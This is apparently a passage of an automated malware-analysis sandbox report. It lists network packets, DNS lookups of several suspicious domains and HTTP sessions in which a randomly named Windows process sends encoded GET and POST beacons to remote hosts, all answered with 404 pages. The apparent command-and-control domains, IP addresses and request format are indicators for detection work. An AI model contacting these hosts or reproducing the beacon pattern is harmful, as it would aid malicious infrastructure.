Jan 10, 2025 20:11:48.213490963 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213502884 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213516951 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213527918 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213541031 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213555098 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213576078 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.213660002 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.215425968 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.215441942 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.215457916 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.215467930 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.215478897 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.215516090 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.215548992 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.703571081 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:50.302723885 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:50.307727098 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:50.309014082 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:50.325601101 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:50.330461025 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267721891 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267761946 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267777920 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267796993 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267832994 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.267862082 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267879009 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267884970 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.267895937 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267911911 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267925024 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.267929077 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267947912 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.267956972 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.268018007 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.273885965 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.274080992 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.274097919 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.274203062 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.479931116 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.479958057 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.480024099 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.498325109 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.498339891 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.498353004 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.498363972 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.498377085 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.498403072 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.498436928 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.498703957 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.498770952 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.504873991 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.504898071 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.504909992 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.504945993 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.517395020 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.517405987 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.517417908 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.517443895 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.517452002 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.517478943 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.533860922 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.533875942 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.533889055 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.533921003 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.533958912 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.549220085 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.549233913 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.549245119 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.549338102 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.562302113 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.562340021 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.562351942 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.562371016 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.562391043 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.564650059 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.564671993 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.564770937 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.564800978 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.564812899 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.564851046 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.574672937 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.574686050 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.574700117 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.574729919 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.574743032 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.574784040 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.711133957 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711175919 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711188078 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711203098 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711216927 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711245060 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.711282015 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.711589098 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711601973 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711615086 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711627007 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711638927 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.711647034 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.711653948 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.711684942 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.712392092 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.712434053 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.712450027 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.712492943 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.719260931 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.719274044 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.719307899 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.719336987 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.719361067 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.719378948 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.723278046 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.723289967 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.723334074 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.723556995 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.723603010 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.723613977 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.733324051 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.733336926 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.733361006 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.733392954 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.733407974 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.733414888 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.753453016 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.753465891 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.753529072 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.753542900 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.753555059 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.753592014 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.771944046 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.771974087 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.771990061 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.772001982 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.772013903 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.772031069 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.796559095 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.796571970 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.796616077 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.796617985 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.796626091 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.796660900 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.805020094 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.805036068 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.805047989 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.805077076 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.805109978 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.814078093 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.814107895 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.814194918 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.814235926 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.814248085 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.814275026 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.824542999 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.824554920 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.824589968 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.824600935 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.824630976 CET	80	64528	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:51.824675083 CET	64528	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:51.828649998 CET	64528	80	192.168.2.9	63.250.43.134

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:10:15.522737980 CET	53	55235	162.159.36.2	192.168.2.9
Jan 10, 2025 20:10:16.095263958 CET	49170	53	192.168.2.9	1.1.1.1
Jan 10, 2025 20:10:16.114404917 CET	53	49170	1.1.1.1	192.168.2.9
Jan 10, 2025 20:10:50.011476994 CET	59645	53	192.168.2.9	1.1.1.1
Jan 10, 2025 20:10:50.503803968 CET	53	59645	1.1.1.1	192.168.2.9
Jan 10, 2025 20:11:06.472484112 CET	59685	53	192.168.2.9	1.1.1.1
Jan 10, 2025 20:11:06.486460924 CET	53	59685	1.1.1.1	192.168.2.9
Jan 10, 2025 20:11:19.988236904 CET	62136	53	192.168.2.9	1.1.1.1
Jan 10, 2025 20:11:20.005752087 CET	53	62136	1.1.1.1	192.168.2.9
Jan 10, 2025 20:11:33.363230944 CET	64904	53	192.168.2.9	1.1.1.1
Jan 10, 2025 20:11:33.382097006 CET	53	64904	1.1.1.1	192.168.2.9
Jan 10, 2025 20:11:47.131067991 CET	62351	53	192.168.2.9	1.1.1.1
Jan 10, 2025 20:11:47.148787975 CET	53	62351	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:10:16.095263958 CET	192.168.2.9	1.1.1.1	0x4f17	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 20:10:50.011476994 CET	192.168.2.9	1.1.1.1	0x79a	Standard query (0)	www.qqa79.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:06.472484112 CET	192.168.2.9	1.1.1.1	0xc10b	Standard query (0)	www.1secondlending.one	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:19.988236904 CET	192.168.2.9	1.1.1.1	0xc4c9	Standard query (0)	www.supernutra01.online	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:33.363230944 CET	192.168.2.9	1.1.1.1	0x24ef	Standard query (0)	www.wine-drinkers.club	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:47.131067991 CET	192.168.2.9	1.1.1.1	0xb585	Standard query (0)	www.oneeyetrousersnake.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:10:16.114404917 CET	1.1.1.1	192.168.2.9	0x4f17	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 20:10:50.503803968 CET	1.1.1.1	192.168.2.9	0x79a	No error (0)	www.qqa79.top	qqa79.top		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:10:50.503803968 CET	1.1.1.1	192.168.2.9	0x79a	No error (0)	qqa79.top		38.47.233.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:06.486460924 CET	1.1.1.1	192.168.2.9	0xc10b	No error (0)	www.1secondlending.one		43.205.198.29	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:20.005752087 CET	1.1.1.1	192.168.2.9	0xc4c9	No error (0)	www.supernutra01.online		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:20.005752087 CET	1.1.1.1	192.168.2.9	0xc4c9	No error (0)	www.supernutra01.online		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:33.382097006 CET	1.1.1.1	192.168.2.9	0x24ef	No error (0)	www.wine-drinkers.club		194.245.148.189	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:47.148787975 CET	1.1.1.1	192.168.2.9	0xb585	No error (0)	www.oneeyetrousersnake.xyz	oneeyetrousersnake.xyz		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:11:47.148787975 CET	1.1.1.1	192.168.2.9	0xb585	No error (0)	oneeyetrousersnake.xyz		63.250.43.134	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:11:47.148787975 CET	1.1.1.1	192.168.2.9	0xb585	No error (0)	oneeyetrousersnake.xyz		63.250.43.135	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.qqa79.top

www.1secondlending.one

www.supernutra01.online

www.wine-drinkers.club

www.oneeyetrousersnake.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	64514	38.47.233.21	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:50.526536942 CET	436	OUT	GET /mz0w/?rdmhfXe=uMzU0JGK22aEYJLCyAIreKcU1rJUCkGv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wwp4pfrJHMjCh6luBqHWNFeR0cmEvsKw==&AF=At8pGDY0Z HTTP/1.1 Host: www.qqa79.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Jan 10, 2025 20:10:51.433765888 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 19:10:51 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	64515	43.205.198.29	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:06.509505987 CET	721	OUT	POST /6pwo/ HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 196 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.1secondlending.one Referer: http://www.1secondlending.one/6pwo/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 71 53 30 68 38 78 6f 2f 46 68 77 57 47 42 70 4b 5a 57 54 4e 50 78 35 6e 73 32 31 56 41 55 6b 6f 62 58 71 71 64 5a 45 48 53 51 4e 7a 6c 79 46 4d 68 37 69 6b 39 2f 4f 64 72 48 41 61 4d 6b 41 70 41 52 62 65 75 55 6e 4f 6a 32 6f 30 62 45 72 51 73 41 4d 41 75 39 32 55 4a 41 6b 6d 76 37 63 4a 50 38 4c 6a 75 6a 79 62 56 76 61 63 51 75 6c 79 67 38 63 30 36 70 59 6f 41 75 33 37 65 6e 6a 69 67 6f 50 45 5a 38 63 68 6c 49 65 57 43 4d 6b 65 55 53 58 79 74 58 62 6a 43 72 4c 38 6c 56 70 73 6e 47 52 36 52 67 69 30 6e 48 30 46 78 35 78 51 Data Ascii: rdmhfXe=DewrBs2mT9lmqS0h8xo/FhwWGBpKZWTNPx5ns21VAUkobXqqdZEHSQNzlyFMh7ik9/OdrHAaMkApARbeuUnOj2o0bErQsAMAu92UJAkmv7cJP8LjujybVvacQulyg8c06pYoAu37enjigoPEZ8chlIeWCMkeUSXytXbjCrL8lVpsnGR6Rgi0nH0Fx5xQ
Jan 10, 2025 20:11:07.355613947 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 19:11:07 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	64516	43.205.198.29	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:09.054383039 CET	745	OUT	POST /6pwo/ HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.1secondlending.one Referer: http://www.1secondlending.one/6pwo/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 70 78 38 68 35 53 77 2f 4e 68 77 56 4e 68 70 4b 51 32 54 4a 50 78 31 6e 73 33 67 4f 41 69 55 6f 62 31 79 71 61 63 77 48 52 51 4e 7a 78 69 46 56 76 62 69 76 39 2f 53 2f 72 47 4d 61 4d 67 6f 70 41 52 4c 65 75 6a 7a 50 69 6d 6f 4d 57 6b 72 53 7a 77 4d 41 75 39 32 55 4a 41 67 49 76 37 45 4a 4d 50 54 6a 76 47 47 59 57 76 61 66 47 2b 6c 79 6b 38 63 34 36 70 5a 48 41 71 33 42 65 6c 62 69 67 74 72 45 5a 76 45 69 73 49 66 38 47 4d 6c 58 46 51 43 56 72 67 58 6c 49 61 71 59 6b 47 38 51 67 6e 74 6b 41 53 72 76 79 51 30 69 32 65 34 34 6c 39 56 4d 4c 4a 62 77 4f 50 4a 45 63 46 30 59 63 46 38 65 52 77 3d 3d Data Ascii: rdmhfXe=DewrBs2mT9lmpx8h5Sw/NhwVNhpKQ2TJPx1ns3gOAiUob1yqacwHRQNzxiFVvbiv9/S/rGMaMgopARLeujzPimoMWkrSzwMAu92UJAgIv7EJMPTjvGGYWvafG+lyk8c46pZHAq3BelbigtrEZvEisIf8GMlXFQCVrgXlIaqYkG8QgntkASrvyQ0i2e44l9VMLJbwOPJEcF0YcF8eRw==
Jan 10, 2025 20:11:09.893371105 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 19:11:09 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 